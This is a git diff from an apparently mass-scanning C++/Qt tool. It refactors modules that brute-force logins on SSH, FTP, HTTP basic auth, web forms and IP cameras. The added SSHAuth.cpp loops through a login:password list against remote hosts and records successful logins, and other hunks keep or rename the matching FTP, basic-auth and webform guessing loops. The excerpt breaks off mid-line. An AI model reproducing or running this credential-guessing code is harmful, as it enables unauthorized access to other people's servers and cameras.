diff --git a/.gitignore b/.gitignore index 659b161..c517839 100644 --- a/.gitignore +++ b/.gitignore @@ -32,3 +32,11 @@ version lisca.cpp main - копия.cpp result_files-* +*.BACKUP.* +*.LOCAL.* +*.REMOTE.* +*.BASE.* +*.o +nesca +moc_* +*~ diff --git a/00000036.wav b/00000036.wav deleted file mode 100644 index 8466549..0000000 Binary files a/00000036.wav and /dev/null differ diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 59b099f..5c368ed 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -29,7 +29,7 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) { return false; } -lopaStr BA::_BABrute(const char *ip, const int port) { +lopaStr BA::BABrute(const char *ip, const int port) { string buffer; string lpString; lopaStr lps; @@ -65,11 +65,11 @@ lopaStr BA::_BABrute(const char *ip, const int port) { return lps; } -lopaStr BA::_BALobby(const char *ip, const int port) { +lopaStr BA::BALobby(const char *ip, const int port) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); - const lopaStr &lps = _BABrute(ip, port); + const lopaStr &lps = BABrute(ip, port); BruteUtils::BConDec(); return lps; diff --git a/BasicAuth.h b/BasicAuth.h index d08ec61..b10eaa5 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -10,10 +10,10 @@ class BA { private: static bool checkOutput(const string *buffer, const char *ip, const int port); - static lopaStr _BABrute(const char *ip, const int port); + static lopaStr BABrute(const char *ip, const int port); public: - static lopaStr _BALobby(const char *ip, const int port); + static lopaStr BALobby(const char *ip, const int port); }; #endif // BASICAUTH_H diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 753ba05..34a0c1a 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -1,5 +1,4 @@ #include "CheckKey_Th.h" -#include "CheckProxy_Th.h" #include "STh.h" #include "externData.h" #include "externFunctions.h" diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp deleted file mode 100644 index 02f10b2..0000000 --- a/CheckProxy_Th.cpp +++ /dev/null @@ -1,149 +0,0 @@ -#include "CheckProxy_Th.h" -#include "externData.h" - -void CheckProxy_Th::doEmitChangeRedIRCData(QString str) -{ - emit chPTh->changeRedIRCData(str); -}; -void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) -{ - emit chPTh->changeGreenIRCData(str); -}; -void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) -{ - emit chPTh->changeYellowIRCData(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) -{ - emit chPTh->changeRawIRCDataInc(str); -}; -void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) -{ - emit chPTh->changeRawIRCDataOut(str); -}; - -void CheckProxyLogic() -{ - QString str1 = ui->ircProxyPort->text(); - QString str2 = ui->ircProxy->text(); - strcpy(ircProxy, str2.toUtf8().data()); - strcpy(ircProxyPort, str1.toUtf8().data()); - - SOCKET pSock; - char precvBuff[2048] = {0}; - sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(atoi(ircProxyPort)); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); - else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); - else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - - if(pSock == INVALID_SOCKET) - { - - chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); - - } - else - { - if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) - { - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); - - send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); - - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") - || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") - ) - && (strlen(precvBuff) < 150) - && strstr(precvBuff, "404 File Not Found") == NULL - && - ( - strstr(precvBuff, "Invalid Request") == NULL - || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL - || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL - ) - ) - { - - chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); - - send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); - ZeroMemory(precvBuff, sizeof(precvBuff)); - while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) - { - - chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); - - if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL - && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL - && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL - && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL - && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL - && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL - && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL - && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL - && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL - && strstr(precvBuff, "gateway timeout") == NULL - ) - { - chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 1; - - CSSOCKET(pSock); - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - break; - } - else - { - - chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); - - proxyEnabledFlag = 0; - - CSSOCKET(pSock); - break; - }; - }; - } - else - { - - chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); - - proxyEnabledFlag = 0; - }; - }; -}; - -void CheckProxy_Th::run() -{ - CheckProxyLogic(); -}; diff --git a/CheckProxy_Th.h b/CheckProxy_Th.h deleted file mode 100644 index d2f93c5..0000000 --- a/CheckProxy_Th.h +++ /dev/null @@ -1,27 +0,0 @@ -#ifndef CHECKPROXY_TH_H -#define CHECKPROXY_TH_H - -#pragma once -#include "nesca_3.h" - -class CheckProxy_Th : public QThread -{ - Q_OBJECT - -public: signals: void changeRedIRCData(QString); -public: signals: void changeGreenIRCData(QString); -public: signals: void changeYellowIRCData(QString); -public: signals: void changeRawIRCDataInc(QString); -public: signals: void changeRawIRCDataOut(QString); - -public: - void doEmitChangeRedIRCData(QString str); - void doEmitChangeGreenIRCData(QString str); - void doEmitChangeYellowIRCData(QString str); - void doEmitChangeRawIRCDataOut(QString str); - void doEmitChangeRawIRCDataInc(QString str); -protected: - void run(); -}; -extern CheckProxy_Th *chPTh; -#endif // CHECKPROXY_TH_H diff --git a/Connector.cpp b/Connector.cpp index 54172fb..465a79c 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -85,142 +85,6 @@ int _pingMyTarget(const char *ip) } #endif -int _sshConnect(char *user, char *pass, const char *host, int port) -{ - char hostStr[128] = {0}; - ZeroMemory(hostStr, sizeof(hostStr)); - strcpy(hostStr, user); - strcat(hostStr, "@"); - strcat(hostStr, host); - - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) - { - ssh_free(my_ssh_session); - return -1; - }; - - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); - //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); - - int rc = ssh_connect(my_ssh_session); - - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; - } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++ssh; - return 0; -} - -char _get_ssh_banner(const char *ip, int port) -{ - char recvBuff[256] = {0}; - std::string buffer; - Connector::nConnect(ip, port, &buffer); - - int sz = buffer.size(); - - if(sz != 0) - { - strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); - }; - - return *recvBuff; -} - -int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) -{ - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); - res = _sshConnect(user, pass, host, port); - if(res == 0) - { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - buffer->append(userPass); - buffer->append("@"); - buffer->append(host); - buffer->append("|+|"); - buffer->append(banner); - return 0; - }; - return res; -} - -int _EstablishSSHConnection(const char* host, int port, std::string *buffer, const char *banner) -{ - char login[32] = {0}; - char pass[32] = {0}; - char temp[64] = {0}; - BruteUtils::BConInc(); - int sz = 0; - char *ptr1 = 0; - int res = -1; - - for(int i = 0; i < MaxSSHPass; ++i) - { - if(globalScanFlag == false) break; - strcpy(temp, sshlpLst[i]); - ptr1 = strstr(temp, ":"); - sz = ptr1 - temp; - strncpy(login, temp, sz); - strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); - ZeroMemory(login, sizeof(login)); - ZeroMemory(pass, sizeof(pass)); - ZeroMemory(temp, sizeof(temp)); - - if(res == 0) - { - if(i == 0) return -2; //Failhit - BruteUtils::BConDec(); - return 1; - } - else if(res == -2) - { - BruteUtils::BConDec(); - return -2; - }; - - Sleep(500); - }; - BruteUtils::BConDec(); - return -1; -} - -QString strIP; -QString strPort; -int Connector::_SSHLobby(std::string ip, int port, std::string *buffer) -{ - const char &banner = _get_ssh_banner(ip.c_str(), port); - if(strlen(&banner) > 0) - { - return _EstablishSSHConnection(ip.c_str(), port, buffer, &banner); - }; - return -1; -} - - struct data { char trace_ascii; /* 1 or 0 */ }; @@ -299,9 +163,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); } - if (lpString != NULL) { - curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); - curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); + if (lpString != NULL) { + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); + curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L); + curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); }; @@ -375,7 +240,7 @@ int Connector::_ConnectToPort(string ip, int port, char *hl) std::string buffer; int size = 0; - if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); + if (port == 22) size = SSHAuth::SSHLobby(ip.c_str(), port, &buffer); else size = nConnect(ip.c_str(), port, &buffer); if(size > 0) diff --git a/Connector.h b/Connector.h index 132e4cb..2ea66fd 100644 --- a/Connector.h +++ b/Connector.h @@ -4,6 +4,7 @@ #include "externData.h" #include "Utils.h" #include "BruteUtils.h" +#include "SSHAuth.h" #include "STh.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) diff --git a/FTPAuth.cpp b/FTPAuth.cpp index c14cc0d..917a04c 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -9,7 +9,7 @@ bool FTPA::checkOutput(const string *buffer) { return false; } -lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { +lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { string buffer; string lpString; lopaStr lps; @@ -54,11 +54,11 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { return lps; } -lopaStr FTPA::_FTPLobby(const char *ip, const int port, PathStr *ps) { +lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); - const lopaStr &lps = _FTPBrute(ip, port, ps); + const lopaStr &lps = FTPBrute(ip, port, ps); BruteUtils::BConDec(); return lps; diff --git a/FTPAuth.h b/FTPAuth.h index f3abe15..f35e7d0 100644 --- a/FTPAuth.h +++ b/FTPAuth.h @@ -10,10 +10,10 @@ class FTPA { private: static bool checkOutput(const string *buffer); - static lopaStr _FTPBrute(const char *ip, const int port, PathStr *ps); + static lopaStr FTPBrute(const char *ip, const int port, PathStr *ps); public: - static lopaStr _FTPLobby(const char *ip, const int port, PathStr *ps); + static lopaStr FTPLobby(const char *ip, const int port, PathStr *ps); }; #endif // FTPAUTH_H diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp deleted file mode 100644 index 29fde02..0000000 --- a/IRCPinger_Th.cpp +++ /dev/null @@ -1,30 +0,0 @@ -#include "IRCPinger_Th.h" -#include "externData.h" - -void IRCPinger_Th::doEmitChangeRedIRCData(QString str) -{ - emit ircPTh->changeRedIRCData(str); -}; -void IRCPinger_Th::doEmitRestartIRC() -{ - emit ircPTh->RestartIRC(); -}; - -void IRCPinger_Th::run() -{ - while(iWantToConnect) - { - if(globalPinger >= 360) //6min timeout - { - - ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); - - - ircPTh->doEmitRestartIRC(); - globalPinger = 0; - msleep(10000); - }; - ++globalPinger; - msleep(1000); - }; -}; diff --git a/IRCPinger_Th.h b/IRCPinger_Th.h deleted file mode 100644 index 5872ea4..0000000 --- a/IRCPinger_Th.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef IRCPINGER_TH_H -#define IRCPINGER_TH_H - -#pragma once -#include "nesca_3.h" -extern int iWantToConnect; - -class IRCPinger_Th : public QThread -{ - Q_OBJECT - -public: - static void doEmitChangeRedIRCData(QString str); - static void doEmitRestartIRC(); - -public: signals: void changeRedIRCData(QString); -public: signals: void RestartIRC(); - -protected: - void run(); -}; -extern IRCPinger_Th *ircPTh; -#endif // IRCPINGER_TH_H diff --git a/SSHAuth.cpp b/SSHAuth.cpp new file mode 100644 index 0000000..82b3f63 --- /dev/null +++ b/SSHAuth.cpp @@ -0,0 +1,133 @@ +#include "SSHAuth.h" + +int _sshConnect(char *user, char *pass, const char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +} + +char _get_ssh_banner(const char *ip, int port) +{ + char recvBuff[256] = {0}; + std::string buffer; + Connector::nConnect(ip, port, &buffer); + + int sz = buffer.size(); + + if(sz != 0) + { + strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); + }; + + return *recvBuff; +} + +int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + buffer->append(userPass); + buffer->append("@"); + buffer->append(host); + buffer->append("|+|"); + buffer->append(banner); + return 0; + }; + return res; +} + +int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) +{ + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + BruteUtils::BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + + for(int i = 0; i < MaxSSHPass; ++i) + { + if(!globalScanFlag) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + + if(res == 0) + { + if(i == 0) return -2; //Failhit + BruteUtils::BConDec(); + return 1; + } + else if(res == -2) + { + BruteUtils::BConDec(); + return -2; + }; + + Sleep(500); + }; + BruteUtils::BConDec(); + return -1; +} + +QString strIP; +QString strPort; +int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer) +{ + const char &banner = _get_ssh_banner(ip, port); + if(strlen(&banner) > 0) + { + return SSHBrute(ip, port, buffer, &banner); + }; + return -1; +} diff --git a/SSHAuth.h b/SSHAuth.h new file mode 100644 index 0000000..e454a24 --- /dev/null +++ b/SSHAuth.h @@ -0,0 +1,16 @@ +#ifndef SSHAUTH_H +#define SSHAUTH_H + +#include "Connector.h" +#include "BruteUtils.h" +#include "Utils.h" +#include "externData.h" +#include "mainResources.h" + +class SSHAuth { +public: + static int SSHLobby(const char *ip, + const int port, + std::string *buffer); +}; +#endif // SSHAUTH_H diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 234f5aa..c82cd86 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -62,10 +62,10 @@ lopaStr WFClass::doGetCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; for(int j = firstCycle; j < MaxWFPass; ++j) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; @@ -105,10 +105,10 @@ lopaStr WFClass::doPostCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; for(int j = firstCycle; j < MaxWFPass; ++j) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; diff --git a/connector_old.cpp b/connector_old.cpp index 1da6549..ca8b708 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -1,69 +1,7 @@ #include "STh.h" -#include -#include -#include -#include "mainResources.h" -#include "externFunctions.h" #include "externData.h" -#include "openssl/err.h" -#include "Utils.h" #include "BruteUtils.h" -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -#include -#include -#pragma comment(lib, "iphlpapi.lib") -#endif -int gMaxBrutingThreads = 200; -fd_set write_fs; - - -int _countFTPDirectories(char *recvBuff){ - if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; - int dirCounter = 0; - if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); - char *dirPtr = strstr(recvBuff, "\n"); - while(dirPtr != NULL){ - ++dirCounter; - dirPtr = strstr(dirPtr + 1, "\n"); - }; - return dirCounter; -} - -bool debugWriteWait = false; -void _DebugWriteHTMLToFile(char *request, char *buff) -{ - while(debugWriteWait) Sleep(50); - debugWriteWait = true; - FILE *df = fopen("./debugData.txt", "a"); - - if(df != NULL) - { - fputs(request, df); - fputs("==========================\n", df); - fputs(buff, df); - fputs("\n==========================\n==========================\n\n", df); - fclose(df); - } - else - { - stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); - }; - debugWriteWait = false; -} - -unsigned char tl(unsigned char d) -{ - if(d >= 192 && d <= 223) - { - return (unsigned char)(d + 32); - } - else - { - return tolower(d); - }; -} - int recvWT( int Socket, char *Buffer, @@ -90,250 +28,6 @@ int recvWT( return(n) ; /* trouble */ } -std::string toLowerStr(const char *str) -{ - if(str != NULL) { - int tsz = strlen(str); - char *strr = new char[tsz+1]; - ZeroMemory(strr, tsz); - - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; - - memset(strr + tsz, '\0', 1); - - std::string tstr = std::string(strr); - delete []strr; - return tstr; - } else return ""; -} - -int OpenConnection(SOCKET *sock, const char *hostname, int port) -{ - struct hostent *host; - struct sockaddr_in addr; - if(strlen(hostname) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - if ( (host = gethostbyname(hostname)) == NULL ) - { - ++offlines; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); - return -1; - }; - *sock = socket(PF_INET, SOCK_STREAM, 0); - ZeroMemory(&addr, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(port); - addr.sin_addr.s_addr = *(long*)(host->h_addr); - if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) - { - ++offlines; - CSSOCKET(*sock); - return -1; - }; - return 0; -} - -void _baSSLWorker(char *ip, char *request, char *rvBuff) -{ - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - int result = OpenConnection(&sock, ip, 443); - if(result >= 0) - { - SSL *ssl = NULL; - ssl = SSL_new(ctx); /* create new SSL connection state */ - if(ssl != NULL) - { - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - - char tempBuff[128] = {0}; - int x = 1; - int xx = 0; - - ZeroMemory(rvBuff, sizeof(*rvBuff)); - while(xx < 512) - { - x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); - if(x <= 0) break; - Activity += x; - xx += x; - strncat(rvBuff, tempBuff, x); - ZeroMemory(tempBuff, sizeof(tempBuff)); - }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); - }; - SSL_shutdown(ssl); - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - return; - }; - }; - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - }; -} - -char *_getAttributeValue(char *str, char *val, char *ip, int port) -{ - char res[1024] = {0}; - char *ptrStart = NULL; - char *ptrS1End = NULL; - char *ptrS2End = NULL; - - ptrStart = strstri(str, val); - if(ptrStart != NULL) - { - if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; - ptrS1End = _findFirst(ptrStart, "\""); - if(ptrS1End != NULL) - { - ptrS2End = _findFirst(ptrS1End + 1, "\""); - if(ptrS2End != NULL) - { - int sz = ptrS2End - ptrS1End - 1; - - if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); - else return ""; - - return res; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; -} - -#define HASHLEN 16 -typedef char HASH[HASHLEN]; -#define HASHHEXLEN 32 -typedef char HASHHEX[HASHHEXLEN+1]; -#define IN -#define OUT -void CvtHex( - IN HASH Bin, - OUT HASHHEX Hex - ) -{ - unsigned short i; - unsigned char j; - - for (i = 0; i < HASHLEN; i++) { - j = (Bin[i] >> 4) & 0xf; - if (j <= 9) - Hex[i*2] = (j + '0'); - else - Hex[i*2] = (j + 'a' - 10); - j = Bin[i] & 0xf; - if (j <= 9) - Hex[i*2+1] = (j + '0'); - else - Hex[i*2+1] = (j + 'a' - 10); - }; - Hex[HASHHEXLEN] = '\0'; -}; -char *_makeDigestResponse( - char *login, - char *realm, - char *pass, - char *path, - char *nonce, - char *pszNonceCount, - char *pszCNonce, - char *pszQop - ) -{ - char HA1[MD5_DIGEST_LENGTH]; - char HA2[MD5_DIGEST_LENGTH]; - char HA1Data[512] = {0}; - char HA2Data[512] = {0}; - - strcpy(HA1Data, login); - strcat(HA1Data, ":"); - strcat(HA1Data, realm); - strcat(HA1Data, ":"); - strcat(HA1Data, pass); - - strcpy(HA2Data, "GET:"); - strcat(HA2Data, path); - - MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); - MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); - - char responseData[512] = {0}; - char *HA1MD5 = new char[64]; - char *HA2MD5 = new char[64]; - ZeroMemory(HA1MD5, 64); - ZeroMemory(HA2MD5, 64); - - CvtHex(HA1, HA1MD5); - strcpy(responseData, HA1MD5); - strcat(responseData, ":"); - strcat(responseData, nonce); - strcat(responseData, ":"); - if (*pszQop != NULL) { - strcat(responseData, pszNonceCount); - strcat(responseData, ":"); - strcat(responseData, pszCNonce); - strcat(responseData, ":"); - strcat(responseData, pszQop); - strcat(responseData, ":"); - }; - CvtHex(HA2, HA2MD5); - strcat(responseData, HA2MD5); - delete []HA1MD5; - delete []HA2MD5; - - char response[MD5_DIGEST_LENGTH]; - MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); - char responseMD5[64] = {0}; - CvtHex(response, responseMD5); - return (char*)responseMD5; -} - int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector negVector) { char recvBuff[256] = {0}; @@ -348,17 +42,11 @@ int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int por #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; + else return -1; #else if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - return -1; - }; + else return -1; #endif sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -498,13 +186,13 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC) for(int i = 0; i < MaxLogin; i++) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; if(strcmp(loginLst[i], " ") == 0) continue; ZeroMemory(login, sizeof(login)); strcpy(login, loginLst[i]); for(int j = 0; j < MaxPass; j++) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; if(strcmp(passLst[j], " ") == 0) continue; ZeroMemory(pass, sizeof(pass)); @@ -513,197 +201,55 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC) ZeroMemory(request, 